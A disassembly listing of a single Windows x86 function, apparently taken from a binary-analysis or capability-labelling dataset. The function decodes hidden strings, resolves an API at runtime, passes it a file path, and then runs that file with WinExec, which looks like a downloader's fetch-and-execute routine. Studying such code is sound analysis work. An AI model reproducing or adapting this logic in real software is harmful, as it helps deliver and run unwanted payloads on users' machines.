Function at 0x404274
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x40427e
mov eax, dword [esp + 0x8000]
add esp, 0xfffffbf8
mov dword [esp + 4], edx
mov dword [esp], eax
lea ebp, [esp + 0x409]
mov byte [esp + 8], 0
mov eax, ebp
mov edx, 0x8000
call fcn.00402ffc
push 0x404638
push ebp
call sub.kernel32.dll_lstrcpyA_1
push 0x404660
lea eax, [ebp + 0x400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404674
lea eax, [ebp + 0x800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404684
lea eax, [ebp + 0xc00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40469c
lea eax, [ebp + 0x1000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046b0
lea eax, [ebp + 0x1400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046d0
lea eax, [ebp + 0x1800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046f8
lea eax, [ebp + 0x1c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404714
lea eax, [ebp + 0x2000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404730
lea eax, [ebp + 0x2400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404748
lea eax, [ebp + 0x2800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40476c
lea eax, [ebp + 0x2c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40477c
lea eax, [ebp + 0x3000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047a0
lea eax, [ebp + 0x3400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047b4
lea eax, [ebp + 0x3800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047c8
lea eax, [ebp + 0x3c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047d8
lea eax, [ebp + 0x4000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047ec
lea eax, [ebp + 0x4400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404804
lea eax, [ebp + 0x4800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404824
lea eax, [ebp + 0x4c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404834
lea eax, [ebp + 0x5000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40484c
lea eax, [ebp + 0x5400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404864
lea eax, [ebp + 0x5800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404880
lea eax, [ebp + 0x5c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40489c
lea eax, [ebp + 0x6000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4048bc
lea eax, [ebp + 0x6400]
push eax
call sub.kernel32.dll_lstrcpyA_1
xor ebx, ebx
mov esi, 0x1a
mov edi, ebp
lea edx, [esp + 9]
mov eax, edi
call fcn.0040235c
lea eax, [esp + 9]
push eax
push 0x407e24
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
jne 0x404493
mov bl, 1
jmp 0x40449c
add edi, 0x400
dec esi
jne 0x404471
test bl, bl
je 0x404629
mov ecx, 0x407b18
mov edx, 0x4048cc
mov eax, 0x4048d4
call fcn.00402d28
mov esi, eax
cmp esi, sub.kernel32.dll_GetStdHandle
jne 0x404629
mov ecx, 0x407b18
mov edx, 0x4048dc
mov eax, 0x4048d4
call fcn.00402d28
mov esi, eax
cmp esi, dword [esp]
jb 0x404629
mov ecx, 0x407b18
mov edx, 0x4048e4
mov eax, 0x4048d4
call fcn.00402d28
mov esi, eax
cmp esi, dword [esp + 4]
jb 0x404629
mov eax, 0x407c1c
call fcn.0040274c
test al, al
je 0x404629
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402ffc
push 0x2d
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060a0
mov ecx, 0xa
call fcn.00402424
lea eax, [esp + 9]
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x404629
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402ffc
push 0x6f
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060ac
mov ecx, 0x12
call fcn.00402424
lea eax, [esp + 9]
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
test ebx, ebx
je 0x404629
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402ffc
push 0xa4
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060c0
mov ecx, 0x2b
call fcn.00402424
push 0
push 0
push 0x407c1c
lea eax, [esp + 0x15]
push eax
push 0
call ebx
test eax, eax
jne 0x404629
push 0
push 0x407c1c
call sub.kernel32.dll_WinExec_1
cmp eax, 0x20
jbe 0x404629
push 0x407b18
mov ecx, 0x4048ec
mov edx, 0x4048cc
mov eax, 0x4048d4
call fcn.00402cb4
push 0x407b18
mov ecx, 0x4048ec
mov edx, 0x4048dc
mov eax, 0x4048d4
call fcn.00402cb4
push 0x407b18
mov ecx, 0x4048ec
mov edx, 0x4048e4
mov eax, 0x4048d4
call fcn.00402cb4
mov byte [esp + 8], 1
mov al, byte [esp + 8]
add esp, 0x840c
pop ebp
pop edi
pop esi
pop ebx
ret